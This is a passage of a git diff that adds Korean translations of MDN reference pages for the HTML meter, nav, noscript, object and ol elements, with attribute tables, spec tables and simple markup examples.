+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd><code>&lt;meter&gt;</code>와 연결할 {{htmlelement("form")}} 요소("양식 소유자"). 같은 문서에 존재하는 <code>&lt;form&gt;</code> 요소의 {{htmlattrxref("id")}} 특성 값을 사용해야 합니다. <code>form</code> 특성을 지정하지 않았으나 조상 중 <code>&lt;form&gt;</code> 요소가 존재하면 해당 <code>&lt;form&gt;</code>과 연결됩니다. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/input/number"><code>&lt;input type="number"&gt;</code></a>의 값 범위를 보여주는 등 <code>&lt;meter&gt;</code>를 양식 관련 콘텐츠로서 사용할 때만 지정하세요.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Heat the oven to &lt;meter min="200" max="500"
+ value="350"&gt;350 degrees&lt;/meter&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("간단한_예제", 300, 60)}}</p>
+
+<p>Google Chrome에서는 다음 그림처럼 보입니다.</p>
+
+<p><img alt="meter1.png" class="default internal" src="/@api/deki/files/4940/=meter1.png"></p>
+
+<h3 id="높은_범위와_낮은_범위">높은 범위와 낮은 범위</h3>
+
+<p>{{htmlattrxref("min", "meter")}} 특성의 기본값이 0이므로 생략한 것을 참고하세요.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;He got a &lt;meter low="69" high="80" max="100"
+ value="84"&gt;B&lt;/meter&gt; on the exam.&lt;/p&gt;
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("높은_범위와_낮은_범위", 300, 60)}}</p>
+
+<p>Google Chrome에서는 다음 그림처럼 보입니다.</p>
+
+<p><img alt="meter2.png" class="default internal" src="/@api/deki/files/4941/=meter2.png"></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.meter")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("progress")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/nav/index.html b/files/ko/web/html/element/nav/index.html
new file mode 100644
index 0000000000..35a952cc43
--- /dev/null
+++ b/files/ko/web/html/element/nav/index.html
@@ -0,0 +1,101 @@
+---
+title: '<nav>: 탐색 구획 요소'
+slug: Web/HTML/Element/nav
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - HTML5
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/nav
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;nav&gt;</code> 요소</strong>는 문서의 부분 중 현재 페이지 내, 또는 다른 페이지로의 링크를 보여주는 구획을 나타냅니다. 자주 쓰이는 예제는 메뉴, 목차, 색인입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/nav.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구획_콘텐츠">구획 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 규칙</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>문서의 모든 링크가 <code>&lt;nav&gt;</code> 요소 안에 있을 필요는 없습니다. <code>&lt;nav&gt;</code> 요소는 주요 탐색 링크 블록을 위한 요소입니다. 대개 {{htmlelement("footer")}} 요소가 <code>&lt;nav&gt;</code>에 들어가지 않아도 되는 링크를 포함합니다.</li>
+ <li><code>&lt;nav&gt;</code> 하나는 사이트 전체 탐색, 다른 하나는 현재 페이지 내 탐색으로 사용하는 등, 하나의 문서에서 여러 개의 {{HTMLElement("nav")}} 태그를 가질 수 있습니다. 이럴 때 <code><a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code>를 사용해 접근성을 향상할 수 있습니다.</li>
+ <li>스크린 리더 등 장애를 가진 사용자를 위한 사용자 에이전트는 최초 렌더링에서 탐색 전용 콘텐츠를 제외할지 결정할 때 <code>&lt;nav&gt;</code>를 참고합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:xml">&lt;nav&gt;
+ &lt;ul&gt;
+ &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="#"&gt;About&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="#"&gt;Contact&lt;/a&gt;&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/nav&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change since latest W3C snapshot.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.nav")}}</p>
diff --git a/files/ko/web/html/element/noscript/index.html b/files/ko/web/html/element/noscript/index.html
new file mode 100644
index 0000000000..b4045a4008
--- /dev/null
+++ b/files/ko/web/html/element/noscript/index.html
@@ -0,0 +1,113 @@
+---
+title: <noscript>
+slug: Web/HTML/Element/noscript
+tags:
+ - Element
+ - HTML
+ - HTML scripting
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/noscript
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;noscript&gt;</code> 요소</strong>는 페이지의 스크립트 유형을 지원하지 않거나, 브라우저가 스크립트를 비활성화한 경우 보여줄 HTML 구획을 정의합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#메타데이터_콘텐츠">메타데이터 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>
+ <p>스크립트가 비활성 상태이며 자신이 {{HTMLElement("head")}} 요소의 자손인 경우, 순서대로</p>
+
+ <ul>
+ <li>0개 이상의 {{htmlelement("link")}} 요소</li>
+ <li>0개 이상의 {{htmlelement("style")}} 요소</li>
+ <li>0개 이상의 {{htmlelement("meta")}} 요소</li>
+ </ul>
+
+ <p>스크립트가 비활성 상태이나 <code>&lt;head&gt;</code> 요소의 자손이 아닌 경우 모든 투명 콘텐츠. 단, 다른 <code>&lt;noscript&gt;</code> 요소는 불가능합니다.</p>
+
+ <p>그 외의 경우 플로우 콘텐츠와 구문 콘텐츠.</p>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>구문 콘텐츠를 허용하는 모든 요소, 또는 {{htmlelement("head")}}. 단, 두 경우 모두 다른 <code>&lt;noscript&gt;</code> 요소가 존재하는 경우 불가능합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;noscript&gt;
+ &lt;!-- anchor linking to external file --&gt;
+ &lt;a href="http://www.mozilla.com/"&gt;External Link&lt;/a&gt;
+&lt;/noscript&gt;
+&lt;p&gt;Rocks!&lt;/p&gt;
+</pre>
+
+<h3 id="스크립트_활성화_상태에서의_결과">스크립트 활성화 상태에서의 결과</h3>
+
+<p>Rocks!</p>
+
+<h3 id="스크립트_비활성화_상태에서의_결과">스크립트 비활성화 상태에서의 결과</h3>
+
+<p><a class="external" href="http://www.mozilla.com/">External Link</a></p>
+
+<p>Rocks!</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'scripting.html#the-noscript-element', '&lt;noscript&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'semantics-scripting.html#the-noscript-element', '&lt;noscript&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/scripts.html#h-18.3.1', '&lt;noscript&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.noscript")}}</p>
diff --git a/files/ko/web/html/element/object/index.html b/files/ko/web/html/element/object/index.html
new file mode 100644
index 0000000000..b6b1c5da99
--- /dev/null
+++ b/files/ko/web/html/element/object/index.html
@@ -0,0 +1,117 @@
+---
+title: <object>
+slug: Web/HTML/Element/object
+tags:
+ - Element
+ - HTML
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/object
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;object&gt;</code> 요소</strong>는 이미지나, 중첩된 브라우저 컨텍스트, 플러그인에 의해 다뤄질수 있는 리소스와 같은 외부 리소스를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/object.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">컨텐츠 범주</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">플로우 컨텐츠</a>; <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">구문 컨텐츠</a>; <a href="/en-US/docs/HTML/Content_categories#Embedded_content" title="HTML/Content categories#Embedded content">포함된 컨텐츠</a>, palpable 컨텐츠; 만약 요소가 <strong>usemap </strong>속성을 가지고 있다면, <a href="/en-US/docs/HTML/Content_categories#Interactive_content" title="HTML/Content categories#Interactive content">대화형 컨텐츠</a>; <a href="/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#Form_submittable" title="HTML/Content categories#Form submittable">submittable</a> <a href="/en-US/docs/HTML/Content_categories#Form-associated_content" title="HTML/Content categories#Form-associated content">form-associated</a> element.</li>
+ <li><dfn>허용된 컨텐츠</dfn> 0개 이상의 {{HTMLElement("param")}} elements, then <a href="/en-US/docs/HTML/Content_categories#Transparent_content_models" title="HTML/Content categories#Transparent content models">Transparent content</a>.</li>
+ <li><dfn>태그 생략</dfn> {{no_tag_omission}}</li>
+ <li><dfn>허용된 부모 요소</dfn><a href="/en-US/docs/HTML/Content_categories#Embedded_content" title="HTML/Content categories#Embedded content">포함된 컨텐츠</a>를 허용하는 모든 요소</li>
+ <li><dfn>DOM 인터페이스</dfn> {{domxref("HTMLObjectElement")}}</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">이 속성은 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("archive")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>A space-separated list of URIs for archives of resources for the object.</dd>
+ <dt>{{htmlattrdef("border")}} {{deprecatedGeneric('inline','HTML4.01')}}; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The width of a border around the control, in pixels.</dd>
+ <dt>{{htmlattrdef("classid")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The URI of the object's implementation. It can be used together with, or in place of, the <strong>data</strong> attribute.</dd>
+ <dt>{{htmlattrdef("codebase")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The base path used to resolve relative URIs specified by <strong>classid</strong>, <strong>data</strong>, or <strong>archive</strong>. If not specified, the default is the base URI of the current document.</dd>
+ <dt>{{htmlattrdef("codetype")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The content type of the data specified by <strong>classid</strong>.</dd>
+ <dt>{{htmlattrdef("data")}}</dt>
+ <dd>리소스의 URL. 최소 하나의 <strong>data</strong>와 <strong>type</strong>가 정의되어야 합니다.</dd>
+ <dt>{{htmlattrdef("declare")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The presence of this Boolean attribute makes this element a declaration only. The object must be instantiated by a subsequent <code>&lt;object&gt;</code> element. In HTML5, repeat the &lt;object&gt; element completely each that that the resource is reused.</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>object 요소와 관련된 form 요소. 이 속성의 값은 같은 문서의 {{HTMLElement("form")}} 요소의 ID 속성의 값이여야 합니다.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>표시될 리소스의 높이를 CSS 픽셀 단위로 지정합니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>유효한 브라우징 컨텍스트의 이름(HTML5) 또는, 컨트롤의 이름(HTML 4)</dd>
+ <dt>{{htmlattrdef("standby")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>A message that the browser can show while loading the object's implementation and data.</dd>
+ <dt>{{htmlattrdef("tabindex")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The position of the element in the tabbing navigation order for the current document.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd><strong>data</strong>에 의해 지정된 리소스의 <a href="/en-US/docs/Glossary/Content_type">컨텐츠 타입</a>.  최소 한 개의 <strong>data</strong>와 <strong>type</strong>가 정의되어야 합니다.</dd>
+ <dt>{{htmlattrdef("typemustmatch")}} {{HTMLVersionInline(5)}}</dt>
+ <dd><strong>type</strong>와 리소스의 실제 <a href="/en-US/docs/Glossary/Content_type">컨텐츠 타입</a>이 일치해야되는지를 나타내는 불리언 속성</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>{{HTMLElement("map")}} 요소에 대한 해쉬-이름 참조; #와 그 뒤에 map 요소의 {{htmlattrxref("name", "map")}} 값이 붙음</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>표시될 리소스의 가로 길이를 CSS 픽셀단위로 지정합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="포함된_플래시_무비">포함된 플래시 무비</h3>
+
+<pre class="brush: html">&lt;!-- Embed a flash movie --&gt;
+&lt;object data="move.swf" type="application/x-shockwave-flash"&gt;&lt;/object&gt;
+
+&lt;!-- Embed a flash movie with parameters --&gt;
+&lt;object data="move.swf" type="application/x-shockwave-flash"&gt;
+ &lt;param name="foo" value="bar"&gt;
+&lt;/object&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'the-iframe-element.html#the-object-element', '&lt;object&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-object-element', '&lt;object&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.3', '&lt;object&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.object")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("param")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/ol/index.html b/files/ko/web/html/element/ol/index.html
new file mode 100644
index 0000000000..52f8ef6dca
--- /dev/null
+++ b/files/ko/web/html/element/ol/index.html
@@ -0,0 +1,207 @@
+---
+title: <ol>
+slug: Web/HTML/Element/ol
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - 'HTML:Flow content'
+ - Reference
+translation_of: Web/HTML/Element/ol
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;ol&gt;</code> 요소</strong>는 정렬된 목록을 나타냅니다. 보통 숫자 목록으로 표현합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ol.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>. 또한, 최소 하나의 {{htmlelement("li")}} 요소를 자식으로 둔다면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#뚜렷한_컨텐츠">뚜렷한 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>0개 이상의 {{htmlelement("li")}}, {{htmlelement("script")}}, {{htmlelement("template")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, {{ARIARole("listbox")}}, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}}, {{ARIARole("tree")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{DOMxRef("HTMLOListElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("reversed")}}</dt>
+ <dd>목록의 순서 역전 여부. 즉, 내부에 지정한 항목이 역순으로 배열된 것인지 나타냅니다.</dd>
+ <dt>{{htmlattrdef("start")}}</dt>
+ <dd>항목을 셀 때 시작할 수. <code>type</code>이 로마 숫자나 영어 문자인 경우에도 아라비아 숫자로 나타낸 정수(1, 2, 3...)만 가능합니다. 그러므로 영어 문자 "d"나 로마 숫자 "iv"부터 세려고 한다면 <code>start="4"</code>를 사용하세요.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>항목을 셀 때 사용할 카운터 유형.
+ <ul>
+ <li><code>'a'</code>는 소문자 알파벳,</li>
+ <li><code>'A'</code>는 대문자 알파벳,</li>
+ <li><code>'i'</code>는 소문자 로마 숫자,</li>
+ <li><code>'I'</code>는 대문자 로마 숫자,</li>
+ <li><code>'1'</code> 는 숫자(기본값)을 나타냅니다.</li>
+ </ul>
+
+ <p><code>type</code>은 아래의 모든 {{htmlelement("li")}}에 적용되지만, {{htmlattrxref("type", "li")}} 특성을 가진 <code>&lt;li&gt;</code>는 그 값을 대신 사용합니다.</p>
+
+ <div class="note"><strong>참고:</strong> 항목을 각각의 숫자/문자로 참조하는 기술적 또는 법률적 문서가 아니라면 CSS {{cssxref("list-style-type")}} 속성을 대신 사용하세요.</div>
+ </dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>보통 정렬 목록의 항목은 선행하는 숫자나 문자 등 <a href="/ko/docs/Web/CSS/::marker">마커</a>와 함께 표시합니다.</p>
+
+<p><code>&lt;ol&gt;</code>과 {{htmlelement("ul")}}은 필요한 만큼 중첩할 수 있고, 서로 교차할 수도 있습니다.</p>
+
+<p><code>&lt;ol&gt;</code>과 {{htmlelement("ul")}}은 모두 목록을 나타냅니다. 차이가 있다면 <code>&lt;ol&gt;</code>에서는 순서가 중요하다는 점입니다. 예를 들어,</p>
+
+<ul>
+ <li>단계별 요리법</li>
+ <li>내비게이션</li>
+ <li>영양정보에서 비율의 내림차순으로 정렬한 원재료 목록</li>
+</ul>
+
+<p>항목의 순서를 바꿨을 때 의미도 바뀐다면 <code>&lt;ol&gt;</code>을 사용하세요. 그렇지 않으면 {{htmlelement("ul")}}을 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+ &lt;li&gt;first item&lt;/li&gt;
+ &lt;li&gt;second item&lt;/li&gt;
+ &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("간단한_예제", 400, 100)}}</p>
+
+<h3 id="로마_숫자로_표기">로마 숫자로 표기</h3>
+
+<pre class="brush: html">&lt;ol type="i"&gt;
+ &lt;li&gt;Introduction&lt;/li&gt;
+ &lt;li&gt;List of Greivances&lt;/li&gt;
+ &lt;li&gt;Conclusion&lt;/li&gt;
+&lt;/ol&gt; </pre>
+
+<p>{{EmbedLiveSample("로마_숫자로_표기", 400, 100)}}</p>
+
+<h3 id="start_특성_사용하기"><code>start</code> 특성 사용하기</h3>
+
+<pre class="brush: html">&lt;p&gt;Finishing places of contestants not in the winners’ circle:&lt;/p&gt;
+
+&lt;ol start="4"&gt;
+ &lt;li&gt;Speedwalk Stu&lt;/li&gt;
+ &lt;li&gt;Saunterin’ Sam&lt;/li&gt;
+ &lt;li&gt;Slowpoke Rodriguez&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("start_특성_사용하기", 400, 100)}}</p>
+
+<h3 id="중첩_목록">중첩 목록</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+ &lt;li&gt;first item&lt;/li&gt;
+ &lt;li&gt;second item &lt;!-- closing &lt;/li&gt; tag not here! --&gt;
+ &lt;ol&gt;
+ &lt;li&gt;second item first subitem&lt;/li&gt;
+ &lt;li&gt;second item second subitem&lt;/li&gt;
+ &lt;li&gt;second item third subitem&lt;/li&gt;
+ &lt;/ol&gt;
+ &lt;/li&gt; &lt;!-- Here's the closing &lt;/li&gt; tag --&gt;
+ &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("중첩_목록", 400, 150)}}</p>
+
+<h3 id="정렬_목록_안의_비정렬_목록">정렬 목록 안의 비정렬 목록</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+ &lt;li&gt;first item&lt;/li&gt;
+ &lt;li&gt;second item &lt;!-- Look, the closing &lt;/li&gt; tag is not placed here! --&gt;
+ &lt;ul&gt;
+ &lt;li&gt;second item first subitem&lt;/li&gt;
+ &lt;li&gt;second item second subitem&lt;/li&gt;
+ &lt;li&gt;second item third subitem&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt; &lt;!-- Here is the closing &lt;/li&gt; tag --&gt;
+ &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("정렬_목록_안의_비정렬_목록", 400, 150)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-ol-element', '&lt;ol&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-ol-element", "HTMLOListElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.2', '&lt;ol&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.ol")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>리스트 관련 다른 요소: {{HTMLElement("ul")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}}</li>
+ <li><code>&lt;ol&gt;</code> 요소와 유용하게 사용할 수 있는 CSS 속성
+ <ul>
+ <li>서수를 표현할 방식을 지정하는 {{cssxref("list-style")}} 속성.</li>
+ <li>복잡한 중첩 목록을 처리하기 위한 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS 카운터</a></li>
+ <li>더 이상 사용하지 않는 <code>compact</code> 특성을 대체할 수 있는 {{cssxref("line-height")}}</li>
+ <li>항목의 들여쓰기를 조정하기 위한 {{cssxref("margin")}} 속성.</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/optgroup/index.html b/files/ko/web/html/element/optgroup/index.html
new file mode 100644
index 0000000000..b735d6ec1b
--- /dev/null
+++ b/files/ko/web/html/element/optgroup/index.html
@@ -0,0 +1,120 @@
+---
